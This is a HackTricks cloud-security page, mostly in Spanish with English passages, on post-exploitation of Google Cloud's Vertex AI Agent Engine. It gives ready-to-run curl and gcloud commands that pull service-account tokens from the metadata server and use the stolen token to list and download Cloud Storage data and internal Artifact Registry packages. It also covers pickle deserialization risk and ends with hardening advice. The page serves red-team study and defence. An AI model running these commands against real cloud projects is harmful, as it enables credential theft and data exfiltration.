GCP - Vertex AI Post explotación

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Vertex AI Agent Engine / Reasoning Engine

This page focuses on Vertex AI Agent Engine / Reasoning Engine workloads that run attacker-controlled tools or code inside a Google-managed runtime.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Why this service is special

Agent Engine introduces a useful but dangerous pattern: developer-supplied code running inside a managed Google runtime with a Google-managed identity.

The interesting trust boundaries are:

  • Consumer project: your project and your data.
  • Producer project: Google-managed project operating the backend service.
  • Tenant project: Google-managed project dedicated to the deployed agent instance.

According to Google’s Vertex AI IAM documentation, Vertex AI resources can use Vertex AI service agents as resource identities, and those service agents can have read-only access to all Cloud Storage resources and BigQuery data in the project by default. If code running inside Agent Engine can steal the runtime credentials, that default access becomes immediately interesting.

Main abuse path

  1. Deploy or modify an agent so attacker-controlled tool code executes inside the managed runtime.
  2. Query the metadata server to recover project identity, service account identity, OAuth scopes, and access tokens.
  3. Reuse the stolen token as the Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivot into the consumer project and read project-wide storage data allowed by the service agent.
  5. Pivot into the producer and tenant environments reachable by the same identity.
  6. Enumerate internal Artifact Registry packages and extract tenant deployment artifacts such as Dockerfile.zip, requirements.txt, and code.pkl.

This is not just a “run code in your own agent” issue. The key problem is the combination of:

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

Identify Agent Engine resources

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Si tienes un token con acceso a Vertex AI, enumera directamente la Reasoning Engine API:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Revisa los registros de despliegue porque pueden leak rutas internas del productor Artifact Registry usadas durante el empaquetado o el arranque en tiempo de ejecución:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

La investigación de Unit 42 observó rutas internas como:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Robo de credenciales de Metadata desde el runtime

Si puedes ejecutar código dentro del agent runtime, primero consulta el metadata service:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Campos interesantes incluyen:

  • project identifiers
  • the attached service account / service agent
  • OAuth scopes available to the runtime

Luego solicita un token para la identidad adjunta:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Valide el token e inspeccione los scopes otorgados:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google cambió partes del flujo de despliegue de ADK después de que se reportó la investigación, por lo que los fragmentos de despliegue antiguos exactos podrían ya no coincidir con el SDK actual. La primitiva importante sigue siendo la misma: si código controlado por un atacante se ejecuta dentro del Agent Engine runtime, las credenciales derivadas de metadatos se vuelven accesibles a menos que controles adicionales bloqueen ese camino.

Consumer-project pivot: service-agent data theft

Una vez que se roba el runtime token, prueba el acceso efectivo del service agent contra el consumer project.

La capacidad por defecto documentada y riesgosa es un amplio acceso de solo lectura a los datos del proyecto. La investigación de Unit 42 validó específicamente:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Validación práctica con el token robado:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Esto convierte a un agente comprometido o malicioso en una project-wide storage exfiltration primitive.

Producer-project pivot: acceso interno a Artifact Registry

La misma identidad robada también puede funcionar contra Google-managed producer resources.

Comienza probando los URIs de repositorios internos recuperados de los registros. Luego enumera paquetes con la Artifact Registry API:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Si solo tienes un raw bearer token, llama directamente a la REST API:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Esto es valioso incluso si el acceso de escritura está bloqueado, porque expone:

  • nombres de imágenes internas
  • imágenes obsoletas
  • estructura de la cadena de suministro
  • inventario de paquetes/versiones para investigación posterior

For more Artifact Registry background check:

GCP - Artifact Registry Enum

Pivot en tenant project: recuperación de artefactos de despliegue

Los despliegues de Reasoning Engine también dejan artefactos interesantes en un tenant project controlado por Google para esa instancia.

La investigación de Unit 42 encontró:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Usa el token robado para enumerar el almacenamiento accesible y buscar artefactos de despliegue:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Los artefactos del proyecto del tenant pueden revelar:

  • nombres de buckets internos
  • referencias internas de imágenes
  • suposiciones de empaquetado
  • listas de dependencias
  • código de agente serializado

El blog también observó una referencia interna como:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Incluso cuando el bucket restringido referenciado no es legible, esos leaked paths ayudan a mapear la infraestructura interna.

code.pkl y RCE condicional

Si la canalización de despliegue almacena el estado ejecutable del agente en formato Python pickle, trátalo como un objetivo de alto riesgo.

El problema inmediato es la confidencialidad:

  • La deserialización offline puede exponer la estructura del código
  • el formato del paquete leaks detalles de implementación

El problema mayor es la RCE condicional:

  • si un atacante puede manipular el artefacto serializado antes de la deserialización en el lado del servicio
  • y la pipeline posteriormente carga ese pickle
  • la ejecución arbitraria de código se vuelve posible dentro del runtime gestionado

Esto no es un exploit independiente por sí mismo. Es un sumidero de deserialización peligroso que se vuelve crítico cuando se combina con cualquier primitiva de escritura de artefactos o manipulación de la cadena de suministro.

OAuth scopes y radio de impacto de Workspace

La respuesta de metadatos también expone los OAuth scopes asociados al runtime.

Si esos scopes son más amplios que el mínimo requerido, un token robado puede ser útil contra más que las APIs de GCP. IAM sigue decidiendo si la identidad está autorizada, pero scopes amplios aumentan el radio de impacto y hacen que las misconfiguraciones posteriores sean más peligrosas.

Si encuentras scopes relacionados con Workspace, verifica si la identidad comprometida también tiene un camino hacia la suplantación de Workspace o acceso delegado:

GCP <–> Workspace Pivoting

Endurecimiento / detección

Prefiere una cuenta de servicio personalizada sobre la identidad administrada predeterminada

La documentación actual de Agent Engine permite configurar una cuenta de servicio personalizada para el agente desplegado. Esa es la forma más limpia de reducir el radio de impacto:

  • eliminar la dependencia del agente de servicio predeterminado, que suele tener permisos amplios
  • otorgar solo los permisos mínimos requeridos por el agente
  • hacer que la identidad del runtime sea auditable y tenga un alcance intencionado

Valida el acceso real del agente de servicio

Inspecciona el acceso efectivo del agente de servicio de Vertex AI en cada proyecto donde se utilice Agent Engine:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Enfóquese en si la identidad asociada puede leer:

  • todos los GCS buckets
  • todos los BigQuery datasets
  • todos los Artifact Registry repositories
  • secrets o internal registries accesibles desde build/deployment workflows

Trate el código del agente como ejecución de código privilegiado

Cualquier herramienta/función ejecutada por el agente debe revisarse como si fuera código corriendo en una VM con acceso a metadatos. En la práctica esto significa:

  • revisar agent tools en busca de acceso HTTP directo a metadata endpoints
  • revisar logs en busca de referencias a repositorios internos pkg.dev y tenant buckets
  • revisar cualquier packaging path que almacene estado ejecutable como pickle

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks